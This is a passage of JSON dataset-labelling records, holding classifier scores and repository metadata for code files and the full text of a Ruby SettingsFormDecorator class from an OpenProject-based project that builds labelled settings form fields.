8.449895383662534e-05, "Product Page": 4.401898189662764e-05, "Spam / Ads": 8.312690203509202e-05, "Structured Data": 0.003070540587645906, "Technical Writing": 0.020838715675605676, "Transcript / Interview": 7.597037276322937e-05, "Tutorial / How-To Guide": 0.000633350966586447, "User Reviews": 3.0962436053402295e-05, "NONE": 0.9727654265484238}, "tertiary": {"Academic Writing": 8.870599362109732e-05, "Content Listing": 0.00010395606109239829, "Creative Writing": 8.269687812035209e-05, "Customer Support Page": 6.202623822715907e-05, "Q&A Forum": 3.021734234593209e-05, "Discussion Thread": 2.411097168697492e-05, "Comment Section": 0.00011733079116851622, "Missing Content": 0.0003978963275423642, "Knowledge Article": 0.0005201018827089325, "Legal Notices": 0.00032351364751280725, "News Article": 4.679202941615785e-05, "Organizational Announcement": 4.4933371745359794e-05, "Nonfiction Writing": 4.4215697858156695e-05, "Organizational About Page": 6.921015125441426e-05, "Personal About Page": 3.4716918080090755e-05, "Personal Blog": 5.448505534727135e-05, "Product Page": 3.31657273521754e-05, "Spam / Ads": 5.953729380793905e-05, "Structured Data": 0.0016081103921884964, "Technical Writing": 0.007464139942837983, "Transcript / Interview": 4.402992027575722e-05, "Tutorial / How-To Guide": 0.0005734367209205303, "User Reviews": 2.2895931912140755e-05, "NONE": 0.988149774712977}, "structured_records": {"false": 0.9666773099654606, "true": 0.033322690034539304}, "procedural_steps": {"false": 0.9602470815715802, "true": 0.039752918428419784}, "worked_solution": {"false": 0.997358593375144, "true": 0.002641406624855985}, "contextual_dialogue": {"false": 0.9999922938506907, "true": 7.706149309356188e-06}, "content_quality": {"-2": 0.00302130356410717, "-1": 0.007375509176210788, "0": 0.09574648994515164, "1": 0.4807721183697539, "2": 0.4130845789447765}, "noise_severity": {"0": 0.9822129847859127, "1": 0.016204396714100924, "2": 0.0009660748583323536, "3": 0.0003654162504264248, "4": 0.0002511273912276941}, "missing_content_severity": {"0": 0.9828881561880186, "1": 0.0132818842603806, "2": 0.0025886046397890186, "3": 0.0009382965800490342, "4": 0.00030305833176273256}, "factual_density": {"0": 0.0020520605238458, "1": 0.004312839470775712, "2": 0.0592383822013305, "3": 0.36918673564557003, "4": 0.5652099821584781}, "pretraining_utility": {"-2": 0.006987738405889119, "-1": 0.05586944985495395, "0": 0.3378353724584618, "1": 0.5062574676803843, "2": 0.0930499716003109}, "math_density": {"0": 0.9967398076744626, "1": 0.0023928529523095775, "2": 0.0002636766102847686, "3": 0.00018567285784111784, "4": 0.00041798990510189015}, "code_density": {"0": 0.0004920274357652516, "1": 0.0010181520256647863, "2": 0.041992688017248675, "3": 0.33636611587450393, "4": 0.6201310166468174}, "reasoning_density": {"0": 0.53026910160139, "1": 0.17257250029555737, "2": 0.16574908502001265, "3": 0.08982517179305043, "4": 0.04158414128998965}, "education_level": {"none": 0.0011591787093964833, "0": 0.0013491377000377132, "1": 0.006040557069316886, "2": 0.4626463234762676, "3": 0.44629909020760977, "4": 0.08250571283737158}, "creative_writing_quality": {"not_applicable": 0.9989127544398427, "-2": 7.57256244308583e-05, "-1": 0.00017695202281386372, "0": 0.0006435837050674322, "1": 0.00014076034890533854, "2": 5.0223858939808084e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.940758600454518e-05, "Art & Design": 3.4364053076643285e-05, "Law & Crime": 3.0274228914463867e-05, "Education & Careers": 3.0249467081145704e-05, "Entertainment & Media": 2.1975224401295565e-05, "Fashion & Beauty": 1.3143698195710908e-05, "Business, Economics & Finance": 3.892707943640383e-05, "Food & Dining": 1.558515283802299e-05, "Games & Gaming": 4.8182440878733424e-05, "Electronics & Hardware": 7.048948169909822e-05, "Health, Healthcare & Wellness": 1.6500928164933747e-05, "History & Geography": 2.106467171790854e-05, "Home, Pets & Hobbies": 2.0990013596348708e-05, "Industry & Production": 3.206206903076966e-05, "Language, Literature & Philosophy": 3.806713344938678e-05, "Politics & Government": 9.471042400601652e-05, "Religion & Spirituality": 2.4019839086009365e-05, "Science, Mathematics & Engineering": 0.00017659542933370673, "Relationships & Community": 1.3929730996327985e-05, "Software Usage & Applications": 0.001377144415684909, "Programming & Software Engineering": 0.9974917442550882, "Sports & Fitness": 3.261602002164883e-05, "Vehicles & Transportation": 1.4959805798660875e-05, "Travel & Tourism": 3.255053193970428e-05, "Other / Uncovered Subject": 0.000201548622104658, "Unknown / Insufficient Content": 7.889769745469735e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00017320515551005696, "Art & Design": 0.0001383991698694954, "Law & Crime": 0.000168573508573892, "Education & Careers": 0.00011670527973569334, "Entertainment & Media": 0.0001413070925026027, "Fashion & Beauty": 5.9442882473880054e-05, "Business, Economics & Finance": 0.00014896229542612474, "Food & Dining": 5.8054178752657624e-05, "Games & Gaming": 0.00044898693733904873, "Electronics & Hardware": 0.00025581589657135, "Health, Healthcare & Wellness": 6.709020904778094e-05, "History & Geography": 7.099585691590003e-05, "Home, Pets & Hobbies": 5.757864352505852e-05, "Industry & Production": 7.611297626552736e-05, "Language, Literature & Philosophy": 9.459751791942899e-05, "Politics & Government": 0.00021667892673241811, "Religion & Spirituality": 9.637037105562137e-05, "Science, Mathematics & Engineering": 0.0005220921425256387, "Relationships & Community": 4.1043936745394666e-05, "Software Usage & Applications": 0.0066945705408043895, "Programming & Software Engineering": 0.009441145785796821, "Sports & Fitness": 6.431290458789579e-05, "Vehicles & Transportation": 2.9870210293460427e-05, "Travel & Tourism": 9.914268951451984e-05, "Other / Uncovered Subject": 0.0002460159780929407, "NONE": 0.9804729289134224}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11244, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11244, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:32:10.881364+00:00", "scoring_key_slot": "primary", "dataset_uid": "9a44347d-87df-4dfc-b375-90d8df612c4a", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "437f50ce76123a10430c9026d029cd2aa00bb205921d3b97f12bb936617528b8", "source_metadata": {"uuid": "9a44347d-87df-4dfc-b375-90d8df612c4a", "repo_name": "scotje/pdk", "relative_path": "lib/pdk/generate/puppet_object.rb", "category": "TOOL", "algo_rel_score": 0.6289234161376953, "quality_score": 6.305050849914551, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 1093, "repo_created_at": "2017-06-01T17:33:21.000Z", "is_fork": true, "is_org_owned": false, "forked_from": "puppetlabs/pdk", "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "a60c53e68d658df984c3b55cc0da56848ed526a7", "size_bytes": 11451, "file_timestamp": 1531800133, "language": "ruby", "is_vendor": false, "license_type": "permissive", "detected_licenses": ["Apache-2.0"]}, "commit_id": "962d71d53117294d1148a4bb72c7243401478c2a"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 1093, "repo_created_at": "2017-06-01T17:33:21.000Z", "is_fork": true, "is_org_owned": false, "forked_from": "puppetlabs/pdk", "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "a60c53e68d658df984c3b55cc0da56848ed526a7", "size_bytes": 11451, "file_timestamp": 1531800133, "language": "ruby", "is_vendor": false, "license_type": "permissive", "detected_licenses": ["Apache-2.0"]}, "commit_id": "962d71d53117294d1148a4bb72c7243401478c2a", "url": "https://github.com/scotje/pdk/blob/962d71d53117294d1148a4bb72c7243401478c2a/lib/pdk/generate/puppet_object.rb"}, "gpt4o_tokens": 2624, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2935231599548818, "noise_severity": 0.020237304746955682, "missing_content_severity": 0.02248621660715667, "factual_density": 3.491189739444059, "pretraining_utility": 0.6225124842142739, "math_density": 0.00514918436681003, "code_density": 3.574625942270943, "reasoning_density": 0.9398827508746925, "education_level": 2.6032709822916296, "creative_writing_quality": -0.08019826255074368}, "score_applicability": {"education_level": 0.9988408212906036, "creative_writing_quality": 0.0010872455601573009}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/HKablan/Demo/blob/adbf799484c74f706c9de509f72b3a5bbabc8461/forms/settings_form_decorator.rb", "id": "ruby-0-378778f8f95b9e4680cafad264aec22e", "text": "# frozen_string_literal: true\n\n#-- copyright\n# OpenProject is an open source project management software.\n# Copyright (C) the OpenProject GmbH\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License version 3.\n#\n# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:\n# Copyright (C) 2006-2013 \n# Copyright (C) 2010-2013 the ChiliProject Team\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# See COPYRIGHT and LICENSE files for more details.\n#++\n\n# Decorates a form object to provide a more convenient interface for\n# rendering settings.\n#\n# It automatically sets the label, value, and disabled properties from the\n# setting name and its definition attributes.\nclass SettingsFormDecorator\n attr_reader :form\n\n # Initializes a new SettingsFormDecorator\n #\n # @param form [Object] The form object to be decorated\n def initialize(form)\n @form = form\n end\n\n def method_missing(method, ...)\n form.send(method, ...)\n end\n\n def respond_to_missing?(method, include_private = false)\n form.respond_to?(method, include_private)\n end\n\n # Creates a text field input for a setting.\n #\n # The text field label is set from translating the key \"setting_\".\n #\n # Any options passed to this method will override the default options.\n #\n # @param name [Symbol] The name of the setting\n # @param options [Hash] Additional options for the text field\n # @return [Object] The text field input\n def text_field(name:, **options)\n options.reverse_merge!(\n label: setting_label(name),\n value: setting_value(name),\n disabled: setting_disabled?(name)\n )\n form.text_field(name:, **options)\n end\n\n # Creates a check box input for a setting.\n #\n # The check box label is set from translating the key \"setting_\".\n #\n # Any options passed to this method will override the default options.\n #\n # @param name [Symbol] The name of the setting\n # @param options [Hash] Additional options for the check box\n # @return [Object] The check box input\n def check_box(name:, **options)\n options.reverse_merge!(\n label: setting_label(name),\n checked: setting_value(name),\n disabled: setting_disabled?(name)\n )\n form.check_box(name:, **options)\n end\n\n # Creates a radio button group for a setting.\n #\n # The radio button group label is set from translating the key\n # \"setting_\". The radio button label are set from translating the\n # key \"setting__\". The caption is set from translating the\n # key \"setting___caption_html\", which will be rendered as HTML,\n # or \"setting___caption\", or nothing if none of the above\n # are defined.\n #\n # Any options passed to this method will override the default options.\n #\n # @param name [Symbol] The name of the setting\n # @param values [Array] The values for the radio buttons. Default to the\n # setting's allowed values.\n # @param disabled [Boolean] Force the radio button group to be disabled when\n # true, will be disabled if the setting is not writable when false (default)\n # @param button_options [Hash] Options for individual radio buttons\n # @param options [Hash] Additional options for the radio button group\n # @return [Object] The radio button group\n def radio_button_group(name:, values: [], disabled: false, button_options: {}, **options)\n values = values.presence || setting_allowed_values(name)\n radio_group_options = options.reverse_merge(\n label: setting_label(name),\n disabled: disabled || setting_disabled?(name)\n )\n form.radio_button_group(\n name:,\n **radio_group_options\n ) do |radio_group|\n values.each do |value|\n radio_group.radio_button(\n **button_options.reverse_merge(\n value:,\n checked: setting_value(name) == value,\n autocomplete: \"off\",\n label: setting_label(name, value),\n caption: setting_caption(name, value)\n )\n )\n end\n end\n end\n\n # Creates a save button to submit the form\n #\n # @return [Object] The submit button\n def submit\n form.submit(name: \"submit\",\n label: I18n.t(\"button_save\"),\n scheme: :primary)\n end\n\n protected\n\n # Returns a translated string for a setting name.\n #\n # The translation key is \"setting_\". Add additional names to the key\n # to allow for translations with more context:\n # \"setting____...\".\n #\n # @param names [Array] The name(s) of the setting\n # @return [String] The translated label\n def setting_label(*names)\n I18n.t(\"setting_#{names.join('_')}\")\n end\n\n # Generates an HTML-safe caption for a setting.\n #\n # The translation key is \"setting__caption\". If not present, it will\n # return nil.\n #\n # The translation will be marked as html_safe automatically if it ends with\n # \"_html\", allowing to have HTML in the caption.\n #\n # Add additional names to the key to allow for translations with more context:\n # \"setting___caption_html\" for instance.\n #\n # @param names [Array] The name(s) of the setting\n # @return [String] The translated HTML-safe caption\n def setting_caption(*names)\n I18n.t(\"setting_#{names.join('_')}_caption_html\", default: nil)&.html_safe \\\n || I18n.t(\"setting_#{names.join('_')}_caption\", default: nil)\n end\n\n # Retrieves the current value of a setting\n #\n # @param name [Symbol] The name of the setting\n # @return [Object] The value of the setting\n def setting_value(name)\n Setting[name]\n end\n\n # Retrieves the allowed values for a setting's definition\n #\n # @param name [Symbol] The name of the setting\n # @return [Array] The allowed values for the setting\n def setting_allowed_values(name)\n Settings::Definition[name].allowed\n end\n\n # Checks if a setting is disabled.\n #\n # Any non-writable setting set by environment variables will be considered\n # disabled.\n #\n # @param name [Symbol] The name of the setting\n # @return [Boolean] `true` if the setting is disabled, `false` otherwise\n def setting_disabled?(name)\n !Setting.send(:\"#{name}_writable?\")\n end\nend\n", "text_preview": "# frozen_string_literal: true #-- copyright # OpenProject is an open source project management software. # Copyright (C) the OpenProject GmbH # # This program is free software; you can redistribute it and/or # modify it under the terms of t", "input_sha256": "9ca28ae2e235b3a478ec85cc24b70c7f1d2626c9b2c194502a3b6177f21be70b", "text_sha256": "378778f8f95b9e4680cafad264aec22eacb817bc2b42dcf6ce2eb2bee463a279", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16050, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": {"main_format": "Legal Notices", "sub_format": null}, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 1, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.3307157439740585, "noise_severity": 0.895865868849679, "missing_content_severity": 0.007695905659942699, "factual_density": 3.4108482960359425, "pretraining_utility": 0.5956635186279075, "math_density": 0.005187403968041396, "code_density": 3.5105975346585203, "reasoning_density": 0.33001678356274144, "education_level": 2.37228616873144, "creative_writing_quality": -0.038812161932045786}, "api_choices": {"primary": "Technical Writing", "secondary": "Legal Notices", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.6213061342446803, "secondary_choice": "Legal Notices", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9871683154669261, "secondary": 0.7687846066587235, "tertiary": 0.7729269239224917, "structured_records": 0.005609706499648947, "procedural_steps": 0.002599735842320921, "worked_solution": 0.001972797599711504, "contextual_dialogue": 5.347834509982888e-06, "content_quality": 0.5743977393936828, "noise_severity": 0.6253187619681833, "missing_content_severity": 0.9935867452833811, "factual_density": 0.5090402466966188, "pretraining_utility": 0.5394698507462853, "math_density": 0.9956771633599655, "code_density": 0.5921646122154336, "reasoning_density": 0.7249860136977154, "education_level": 0.5631441191554362, "creative_writing_quality": 0.9989027784388869, "primary_topic": 0.9891806990181523, "secondary_topic": 0.8126553457593503}, "probability_margin": {"primary": 0.9775510543158878, "secondary": 0.6173364135335692, "tertiary": 0.5837809249718028, "education_level": 0.32467587085036814, "creative_writing_quality": 0.9986024761869929, "primary_topic": 0.9852927600156796, "secondary_topic": 0.7189432284919542}, "raw_probabilities": {"primary": {"Academic Writing": 4.328295189188748e-05, "Content Listing": 2.7859902878123254e-05, "Creative Writing": 2.3451386720922144e-05, "Customer Support Page": 2.056747034345924e-05, "Q&A Forum": 1.712284541173184e-05, "Discussion Thread": 1.1522208227471626e-05, "Comment Section": 2.233502028010844e-05, "Missing Content": 4.012776815143013e-05, "Knowledge Article": 0.0001478385677744332, "Legal Notices": 0.010151914673249595, "News Article": 9.035664736683022e-06, "Organizational Announcement": 3.3458611915837917e-05, "Nonfiction Writing": 1.9408259239791697e-05, "Organizational About Page": 6.33180816528592e-05, "Personal About Page": 1.7406255162301992e-05, "Personal Blog": 1.2987188917627564e-05, "Product Page": 1.3450428103824648e-05, "Spam / Ads": 1.4040196183890272e-05, "Structured Data": 0.00016342154324525034, "Technical Writing": 0.9877029689891375, "Transcript / Interview": 2.226004143287526e-05, "Tutorial / How-To Guide": 0.00018410997089536723, "User Reviews": 1.170787640365974e-05, "Other / Unknown": 0.0012264040980436335}, "secondary": {"Academic Writing": 0.0005089750817724871, "Content Listing": 0.0004393078336881419, "Creative Writing": 0.0004556018525876044, "Customer Support Page": 0.0003359544773954536, "Q&A Forum": 0.00024326240052223504, "Discussion Thread": 0.00021763445965085486, "Comment Section": 0.000503138660820897, "Missing Content": 0.0005597471465866337, "Knowledge Article": 0.0012975312323767973, "Legal Notices": 0.7784185813812767, "News Article": 0.00037315390359013553, "Organizational Announcement": 0.0005969781932541438, "Nonfiction Writing": 0.0004114769699922442, "Organizational About Page": 0.0009066351779383308, "Personal About Page": 0.0003317654269490009, "Personal Blog": 0.00022871596023073804, "Product Page": 0.0003322397271197201, "Spam / Ads": 0.0003605982750358568, "Structured Data": 0.0006663092354982603, "Technical Writing": 0.05049925661633861, "Transcript / Interview": 0.00039805795540140393, "Tutorial / How-To Guide": 0.0006454033104915784, "User Reviews": 0.0001875068737747084, "NONE": 0.1610821678477076}, "tertiary": {"Academic Writing": 0.00037934966648845266, "Content Listing": 0.0002622461129766407, "Creative Writing": 0.00037380958089877365, "Customer Support Page": 0.00024903413759904216, "Q&A Forum": 0.00012884634669652108, "Discussion Thread": 0.000124719878256588, "Comment Section": 0.0002860861116749982, "Missing Content": 0.0003890223570419544, "Knowledge Article": 0.0010097094982944998, "Legal Notices": 0.1986073771205851, "News Article": 0.00026461466324616484, "Organizational Announcement": 0.0003628022412480181, "Nonfiction Writing": 0.0002810296273630925, "Organizational About Page": 0.0008166574144535148, "Personal About Page": 0.00022492427610416263, "Personal Blog": 0.00016986491553415618, "Product Page": 0.0001894990911971823, "Spam / Ads": 0.0002444535435127199, "Structured Data": 0.00048766725041557, "Technical Writing": 0.011492282220939388, "Transcript / Interview": 0.0002572285128051576, "Tutorial / How-To Guide": 0.0008967734529962383, "User Reviews": 0.0001136998872842246, "NONE": 0.7823883020923879}, "structured_records": {"false": 0.994390293500351, "true": 0.005609706499648947}, "procedural_steps": {"false": 0.9974002641576791, "true": 0.002599735842320921}, "worked_solution": {"false": 0.9980272024002885, "true": 0.001972797599711504}, "contextual_dialogue": {"false": 0.99999465216549, "true": 5.347834509982888e-06}, "content_quality": {"-2": 0.0023781780013882245, "-1": 0.0056261630611813525, "0": 0.0716166242502338, "1": 0.4996598063363771, "2": 0.4207192283508196}, "noise_severity": {"0": 0.2768758083942505, "1": 0.5659654157761643, "2": 0.1457083482533516, "3": 0.007317953738122732, "4": 0.004132473838110815}, "missing_content_severity": {"0": 0.9940401038773936, "1": 0.004728843664681078, "2": 0.0008492126395345082, "3": 0.0002587225573708867, "4": 0.0001231172610199861}, "factual_density": {"0": 0.0021733725918934173, "1": 0.006022433678318075, "2": 0.0764373024137035, "3": 0.40951630773412245, "4": 0.5058505835819626}, "pretraining_utility": {"-2": 0.0064012180173895275, "-1": 0.05583960633068186, "0": 0.34760346352474286, "1": 0.5160058632610032, "2": 0.0741498488661825}, "math_density": {"0": 0.9969191388609266, "1": 0.0021692439074993838, "2": 0.00023222073985333335, "3": 0.0001638673860462598, "4": 0.0005155291056741413}, "code_density": {"0": 0.000604087372413705, "1": 0.0012277058408365629, "2": 0.04710617558743765, "3": 0.3890906471544399, "4": 0.5619713840448722}, "reasoning_density": {"0": 0.7859303596162851, "1": 0.1300908047529224, "2": 0.06010466345268608, "3": 0.015780036807978935, "4": 0.008094135370127516}, "education_level": {"none": 0.0011564800861335873, "0": 0.001676736806493232, "1": 0.011980012790859522, "2": 0.6359534326295301, "3": 0.31127756177916194, "4": 0.037955775907821745}, "creative_writing_quality": {"not_applicable": 0.9990856486990723, "-2": 7.233663250921187e-05, "-1": 0.00015076234471093076, "0": 0.0004831725120793975, "1": 0.00015621196428100591, "2": 5.186784734698624e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.770470103702558e-05, "Art & Design": 0.0006170227606159723, "Law & Crime": 0.0009133618488261564, "Education & Careers": 6.0562043278954544e-05, "Entertainment & Media": 2.998378799865613e-05, "Fashion & Beauty": 2.7033435543673366e-05, "Business, Economics & Finance": 0.004304065963313058, "Food & Dining": 3.207180138002432e-05, "Games & Gaming": 8.314227881443578e-05, "Electronics & Hardware": 8.205954065556382e-05, "Health, Healthcare & Wellness": 3.16988790977139e-05, "History & Geography": 3.42646597908735e-05, "Home, Pets & Hobbies": 3.452194185109107e-05, "Industry & Production": 6.598305372427016e-05, "Language, Literature & Philosophy": 5.197777845767172e-05, "Politics & Government": 7.064071244093234e-05, "Religion & Spirituality": 3.011670427210673e-05, "Science, Mathematics & Engineering": 0.0001277352176003728, "Relationships & Community": 2.5907252164435943e-05, "Software Usage & Applications": 0.0031449124121881154, "Programming & Software Engineering": 0.9895968259789926, "Sports & Fitness": 4.7127615975669076e-05, "Vehicles & Transportation": 2.300989808114709e-05, "Travel & Tourism": 4.654920973672795e-05, "Other / Uncovered Subject": 0.00040298971452278493, "Unknown / Insufficient Content": 6.873080963989515e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008307351639342979, "Art & Design": 0.008498959329389775, "Law & Crime": 0.1009176808920365, "Education & Careers": 0.0006036998601131169, "Entertainment & Media": 0.0005353610450980663, "Fashion & Beauty": 0.00035959051479268555, "Business, Economics & Finance": 0.021957736966860444, "Food & Dining": 0.00027206525260321877, "Games & Gaming": 0.0006046234659912404, "Electronics & Hardware": 0.000530088334244546, "Health, Healthcare & Wellness": 0.00034306149850369126, "History & Geography": 0.0004413836052138672, "Home, Pets & Hobbies": 0.00035426297039608124, "Industry & Production": 0.00043391113951507493, "Language, Literature & Philosophy": 0.00038938372836483316, "Politics & Government": 0.0008177957536513406, "Religion & Spirituality": 0.00047840396197247864, "Science, Mathematics & Engineering": 0.0005910845028578116, "Relationships & Community": 0.00023585962938219395, "Software Usage & Applications": 0.017007753190237788, "Programming & Software Engineering": 0.020801284795778783, "Sports & Fitness": 0.0003010798629481256, "Vehicles & Transportation": 0.00017889040016036886, "Travel & Tourism": 0.00045976627371573765, "Other / Uncovered Subject": 0.002194628478247139, "NONE": 0.8198609093839907}}, "probabilities": {"primary": {"Academic Writing": 4.3282951891887473e-05, "Content Listing": 2.7859902878123247e-05, "Creative Writing": 2.3451386720922137e-05, "Customer Support Page": 2.0567470343459236e-05, "Q&A Forum": 1.7122845411731838e-05, "Discussion Thread": 1.1522208227471623e-05, "Comment Section": 2.2335020280108436e-05, "Missing Content": 4.012776815143012e-05, "Knowledge Article": 0.00014783856777443317, "Legal Notices": 0.010151914673249593, "News Article": 9.03566473668302e-06, "Organizational Announcement": 3.345861191583791e-05, "Nonfiction Writing": 1.9408259239791693e-05, "Organizational About Page": 6.331808165285919e-05, "Personal About Page": 1.740625516230199e-05, "Personal Blog": 1.298718891762756e-05, "Product Page": 1.3450428103824644e-05, "Spam / Ads": 1.4040196183890269e-05, "Structured Data": 0.00016342154324525032, "Technical Writing": 0.9877029689891372, "Transcript / Interview": 2.2260041432875255e-05, "Tutorial / How-To Guide": 0.00018410997089536718, "User Reviews": 1.1707876403659737e-05, "Other / Unknown": 0.0012264040980436333}, "secondary": {"Academic Writing": 0.000508975081772487, "Content Listing": 0.0004393078336881418, "Creative Writing": 0.0004556018525876043, "Customer Support Page": 0.00033595447739545353, "Q&A Forum": 0.00024326240052223498, "Discussion Thread": 0.0002176344596508548, "Comment Section": 0.0005031386608208969, "Missing Content": 0.0005597471465866335, "Knowledge Article": 0.001297531232376797, "Legal Notices": 0.7784185813812765, "News Article": 0.0003731539035901354, "Organizational Announcement": 0.0005969781932541437, "Nonfiction Writing": 0.0004114769699922441, "Organizational About Page": 0.0009066351779383306, "Personal About Page": 0.00033176542694900087, "Personal Blog": 0.000228715960230738, "Product Page": 0.00033223972711972, "Spam / Ads": 0.0003605982750358567, "Structured Data": 0.0006663092354982602, "Technical Writing": 0.0504992566163386, "Transcript / Interview": 0.0003980579554014038, "Tutorial / How-To Guide": 0.0006454033104915783, "User Reviews": 0.00018750687377470834, "NONE": 0.16108216784770757}, "tertiary": {"Academic Writing": 0.00037934966648845266, "Content Listing": 0.0002622461129766407, "Creative Writing": 0.00037380958089877365, "Customer Support Page": 0.00024903413759904216, "Q&A Forum": 0.00012884634669652108, "Discussion Thread": 0.000124719878256588, "Comment Section": 0.0002860861116749982, "Missing Content": 0.0003890223570419544, "Knowledge Article": 0.0010097094982944998, "Legal Notices": 0.1986073771205851, "News Article": 0.00026461466324616484, "Organizational Announcement": 0.0003628022412480181, "Nonfiction Writing": 0.0002810296273630925, "Organizational About Page": 0.0008166574144535148, "Personal About Page": 0.00022492427610416263, "Personal Blog": 0.00016986491553415618, "Product Page": 0.0001894990911971823, "Spam / Ads": 0.0002444535435127199, "Structured Data": 0.00048766725041557, "Technical Writing": 0.011492282220939388, "Transcript / Interview": 0.0002572285128051576, "Tutorial / How-To Guide": 0.0008967734529962383, "User Reviews": 0.0001136998872842246, "NONE": 0.7823883020923879}, "structured_records": {"false": 0.994390293500351, "true": 0.005609706499648947}, "procedural_steps": {"false": 0.9974002641576791, "true": 0.002599735842320921}, "worked_solution": {"false": 0.9980272024002885, "true": 0.001972797599711504}, "contextual_dialogue": {"false": 0.99999465216549, "true": 5.347834509982888e-06}, "content_quality": {"-2": 0.0023781780013882245, "-1": 0.0056261630611813525, "0": 0.0716166242502338, "1": 0.4996598063363771, "2": 0.4207192283508196}, "noise_severity": {"0": 0.2768758083942505, "1": 0.5659654157761643, "2": 0.1457083482533516, "3": 0.007317953738122732, "4": 0.004132473838110815}, "missing_content_severity": {"0": 0.9940401038773936, "1": 0.004728843664681078, "2": 0.0008492126395345082, "3": 0.0002587225573708867, "4": 0.0001231172610199861}, "factual_density": 